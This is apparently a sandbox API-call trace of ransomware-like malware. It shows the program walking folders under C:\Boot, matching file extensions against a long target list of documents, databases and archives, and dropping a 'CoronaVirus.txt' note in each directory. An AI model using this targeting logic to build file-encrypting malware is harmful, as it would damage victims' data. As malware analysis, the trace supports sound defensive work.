	[0082.913] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0082.913] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.913] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.914] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0082.914] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.915] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0082.915] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.915] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0082.915] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.915] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0082.915] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.915] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0082.915] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.915] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0082.915] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.915] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0082.915] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.915] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0082.915] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.915] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0082.915] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.915] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0082.915] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.915] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0082.915] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.915] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0082.915] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.915] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0082.915] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.915] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0082.915] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.915] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.915] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.915] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0082.915] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeac3f288, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeac3f288, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0082.915] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0082.915] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0082.915] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0082.915] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0082.916] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0082.916] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0082.916] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0082.916] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0082.916] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0082.916] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0082.916] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0082.916] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0082.916] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0082.916] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0082.916] malloc (_Size=0x1000) returned 0x2f2c568
	[0082.916] _swprintf (in: param_1=0x2f2c568, param_2="%s\\%s" | out: param_1="C:\\Boot\\CoronaVirus.txt") returned 23
	[0082.916] wcsstr (_Str="C:\\Boot\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0082.916] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0082.916] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0082.916] wcsncmp (_String1="cs", _String2="..", _MaxCount=0x2) returned 53
	[0082.916] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\cs-CZ") returned 13
	[0082.916] wcsncmp (_String1="C:\\Boot\\c", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0082.916] wcsstr (_Str="C:\\Boot\\cs-CZ", _SubStr="Microsoft\\Windows") returned 0x0
	[0082.916] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\cs-CZ\\CoronaVirus.txt" (normalized: "c:\\boot\\cs-cz\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0082.919] _alloca_probe () returned 0x4036d0
	[0082.919] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\cs-CZ", lpFilePart=0x316583c*="cs-CZ") returned 0xd
	[0082.919] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeac8b68d, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600b10
	[0082.920] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.920] FindNextFileW (in: hFindFile=0x600b10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeac8b68d, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.920] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.920] FindNextFileW (in: hFindFile=0x600b10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0082.920] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0082.920] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0082.920] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.920] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0082.920] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.920] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0082.920] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.920] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0082.920] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.920] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0082.920] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.920] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0082.920] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.920] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0082.920] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.920] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0082.920] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.920] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0082.920] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.920] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0082.920] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.920] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0082.920] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.920] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0082.920] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.920] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0082.920] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.920] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0082.920] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.920] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0082.920] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0082.921] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.921] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.922] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0082.922] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.923] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0082.923] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.923] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0082.923] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.923] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0082.923] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.923] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0082.923] FindNextFileW (in: hFindFile=0x600b10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeac8b68d, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeac8b68d, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0082.923] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0082.923] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0082.923] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.923] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0082.923] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.923] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0082.923] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.923] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0082.923] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.923] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0082.923] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.923] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0082.923] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.923] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0082.923] malloc (_Size=0x1000) returned 0x2f2d570
	[0082.923] _swprintf (in: param_1=0x2f2d570, param_2="%s\\%s" | out: param_1="C:\\Boot\\cs-CZ\\CoronaVirus.txt") returned 29
	[0082.923] wcsstr (_Str="C:\\Boot\\cs-CZ\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0082.923] FindNextFileW (in: hFindFile=0x600b10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0082.923] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0082.923] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0082.923] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.923] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0082.923] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.923] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0082.923] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.923] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0082.923] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.924] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0082.924] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.925] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0082.925] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
